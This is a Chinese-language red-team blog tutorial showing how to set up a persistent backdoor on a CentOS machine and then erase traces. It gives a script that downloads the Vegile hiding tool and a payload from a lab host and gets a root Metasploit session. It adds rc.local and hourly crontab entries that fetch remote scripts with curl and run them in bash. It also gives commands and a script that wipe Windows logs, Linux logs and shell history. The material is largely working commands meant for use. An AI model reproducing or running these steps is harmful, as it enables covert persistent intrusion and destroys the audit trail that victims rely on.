红队/白帽必经之路(23)——如何通过如何使用脚本以及Metasploit来进行自动创建后门以及如何做到红方真正的销声匿迹 [既然是红队,那就对自己狠一点]
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
目录
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]编辑
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
1.实战-使用脚本来进行自动创建后门
1.2配置脚本程序
写入以下内容
回到 MSF 控制台进行测试
回到centos 上执行一下脚本
参数详解:
回到 MSF 控制台
这时候pwd
注意:
1.3配置开机启动
把所需执行命令添加到开机启动项
原因:
添加可执行权限
回到 MSF 控制台开启侦听
reboot centos 操作系统
1.3配置计划任务
查看系统级别计划任务
参数详解:
末行添加:
2.系统日志清理——销声匿迹
2.1Windows 日志清理
删除系统日志目录下的一些日志文件。
2.2Linux 日志清理
清理历史命令
让系统不再保存历史命令
删除访问日志
最后脚本汇总
注意:
1.实战-使用脚本来进行自动创建后门
1.2配置脚本程序
写入以下内容
#!/bin/bash
#切换工作目录
cd /tmp/
#把前面下载 Vegile 到执行后门文件的命令使用&&拼接成一条命令;&&表示前面的命令执行成功则执行下一条命令
# echo y | 表示将 y 作为 Vegile 命令的输入,因为执行 Vegile 命令是需要我们按任意键退出,所
以我们手动输入一个字符让程序执行完成后自动退出。
#>> /dev/null 2>&1 不显示所有输出结果。
wget 192.168.1.53/Vegile-master.zip && unzip Vegile-master.zip && cd Vegile-master && chmod
+x Vegile && wget 192.168.1.53/xuegod-ghost && chmod +x xuegod-ghost && echo y | ./Vegile --i xuegod-ghost >> /dev/null 2>&1
#2>&1 的意思就是将标准错误重定向到标准输出。这里标准输出已经重定向到了 /dev/null。那么标准错误也会输出到/dev/null。/dev/null 可以看作"黑洞". 它等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到
#删除下载的所有文件
rm -rf /tmp/Vegile-master.zip /tmp/Vegile-master
- 保存退出即可,脚本文件不需要添加执行权限
回到 MSF 控制台进行测试
- 首先我们先清空后台任务和前面已经建立的 session
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1232 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
msf6 >
msf6 > use /exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > jobs -K
Stopping all jobs...
msf6 exploit(multi/handler) > sessions -K
[*] Killing all sessions...
msf6 exploit(multi/handler) > exploit -j
回到centos 上执行一下脚本
参数详解:
- bash <() #表示将括号中的内容通过 bash 来执行
- curl -s -L #curl 是一个利用 URL 语法在命令行下进行文件传输的工具
- -s --silent #表示静默模式不输出任何内容
- -L 跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash,进行执行。
- 上述的好处是:本地不会保存任何文件。
- >> /dev/null 2>&1 不输出任何信息
回到 MSF 控制台
这时候pwd
msf6 exploit(multi/handler) > sessions -i 21
[*] Starting interaction with 21...
pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No
such file or directory
- 可以看到,提示目录不存在,因为 payload 所在的 Vegile-master 目录已被删除,我们只需要切换目录即可。
cd /root/
pwd
/root
id
uid=0(root) gid=0(root) groups=0(root)
注意:
- tmp 目录中我们下载的所有文件也被清除。
1.3配置开机启动
把所需执行命令添加到开机启动项
原因:
- 一般黑帽进来都会在开机启动项里加点东西,/etc/rc.local
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# echo "bash <(curl -s -L http://192.168.1.53/xuegod.sh) >>/dev/null 2>&1" >> /etc/rc0.d/rc.local
添加可执行权限
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# chmod +x /etc/rc0.d/rc.local
回到 MSF 控制台开启侦听
msf6 exploit(multi/handler) > sessions -K #删除原来的会话
[*] Killing all sessions...
msf6 exploit(multi/handler) > exploit -j #重新侦听
reboot centos 操作系统
1.3配置计划任务
查看系统级别计划任务
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# ll /etc/crontab
-rw-r--r-- 1 root root 1042 2024年 1月21日 /etc/crontab
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# vim /etc/crontab
参数详解:
PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统执行命令的搜索路径 MAILTO=root #将执行任务的信息通过邮件发送给 xx 用户
末行添加:
0 */1 * * * root bash <(curl -s -L http://192.168.1.53/xuegod.sh) >> /dev/null 2>&1
#保存退出,每小时执行一次。
2.系统日志清理——销声匿迹
2.1Windows 日志清理
- Win+R 运行:eventvwr
- 正常的远程访问在 windows 的时间查看器中可以看到相关记录
回到控制台查看
删除系统日志目录下的一些日志文件。
meterpreter > shell
C:\Windows\system32>del %WINDIR%\*.log /a/s/q/f
del:删除文件。
%WINDIR%*.log:
%WINDIR%:Windows 操作系统安装目录,通常为 C:\Windows。
*.log:匹配所有 .log 后缀的日志文件。
/a:按属性删除文件。可以删除具有指定属性的文件(例如只读、隐藏、系统文件等)。
/s:递归删除当前目录及所有子目录中的 .log 文件。
/q:安静模式,不显示删除确认提示,直接删除。
/f:强制删除只读文件。
2.2Linux 日志清理
清理历史命令
history -c
让系统不再保存历史命令
vi /etc/profile,找到 HISTSIZE 这个值,修改为 0
删除访问日志
1. 访问失败的日志
删除登录失败记录:
echo > /var/log/btmp
2. 访问成功的日志
删除登录成功记录:
echo > /var/log/wtmp
#此时再次执行 last 命令就会发现没有记录
3. 删除日志记录:
echo > /var/log/secure
最后脚本汇总
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# cat clog.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c
注意:
- 执行时查看文件是否有执行权限且删除日志一般只有 root 权限才可以。